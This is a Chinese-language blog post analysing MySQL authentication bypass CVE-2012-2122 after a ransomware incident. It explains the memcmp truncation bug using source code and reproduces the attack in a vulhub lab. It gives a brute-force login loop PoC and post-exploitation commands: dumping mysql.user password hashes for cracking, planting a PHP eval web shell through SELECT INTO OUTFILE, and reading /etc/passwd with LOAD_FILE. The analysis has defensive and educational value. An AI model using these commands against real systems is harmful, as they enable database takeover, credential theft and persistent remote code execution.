MySQL历史漏洞分析
前段时间公司一托管的老系统,被木马勒索,然后紧急处理了一下,此系统使用少,而且是外包托管阿里云,因此并没有影响其他系统。拿到这个系统后,查看端口服务时发现,数据库端口对外开放,ssh对外开放,然后根据对系统的核查,猜测有可能存在以下问题:
1、后台弱口令或者登陆绕过
2、mysql弱口令
3、ssh弱口令爆破
经过后来优先对外的端口审查,发现是数据库漏洞,MySQL的cve-2012-2122,身份验证漏洞。
简单的说就是MySQL对身份验证上存在缺陷,大概256次登陆认证就会出现一次认证成功。并不在乎密码的正确性。
漏洞介绍:
https://seclists.org/oss-sec/2012/q2/493
漏洞原因:
my_bool check_scramble(const uchar *scramble_arg, const char *message,
const uint8 *hash_stage2)
{
SHA1_CONTEXT sha1_context;
uint8 buf[SHA1_HASH_SIZE];
uint8 hash_stage2_reassured[SHA1_HASH_SIZE];
mysql_sha1_reset(&sha1_context);
/* create key to encrypt scramble */ mysql_sha1_input(&sha1_context, (const uint8 *) message, SCRAMBLE_LENGTH);
mysql_sha1_input(&sha1_context, hash_stage2, SHA1_HASH_SIZE);
mysql_sha1_result(&sha1_context, buf);
/* encrypt scramble */ my_crypt((char *) buf, buf, scramble_arg, SCRAMBLE_LENGTH);
/* now buf supposedly contains hash_stage1: so we can get hash_stage2 */ mysql_sha1_reset(&sha1_context);
mysql_sha1_input(&sha1_context, buf, SHA1_HASH_SIZE);
mysql_sha1_result(&sha1_context, hash_stage2_reassured);
return memcmp(hash_stage2, hash_stage2_reassured, SHA1_HASH_SIZE);
}
以上是问题出现的代码处,memcmp的返回值实际上是int,而my_bool却是char。那么在把int转换成char的时候,就有可能发生截断。比如,memcmp返回0×200,截断后变成了0,调用check_scramble函数的就误以为密码正确。
而此漏洞并不是版本通病是MySQL在编译时,需添加-fno-builtin,并且所使用的glibc是经SSE优化后的,只不过glibc是系统自带。
漏洞利用:
使用如下poc:
for i in `seq 1 1000`; do mysql -u root --password=root -h 127.0.0.1 2>/dev/null; done
环境采用vulhub的docker环境,测试成功后返回如下:
那么拿到数据库怎么尝试获取服务权限,可以获取数据库账号密码来维持对数据库的访问和root权限。
select user,password from mysql.user;
MySQL密码加密由sha1加密后再unhex加密再sha1加密的字段,可以再md5等密码查询网站查找。如上密码为123456。
还可以使用导出的形式,利用如下:
Select '<?php eval($_POST[cmd])?>' into outfile '/var/www/html/a.txt'; #这种需要知道web路径
同样也可以使用load_file来查看系统文件等
SELECT LOAD_FILE('/etc/passwd')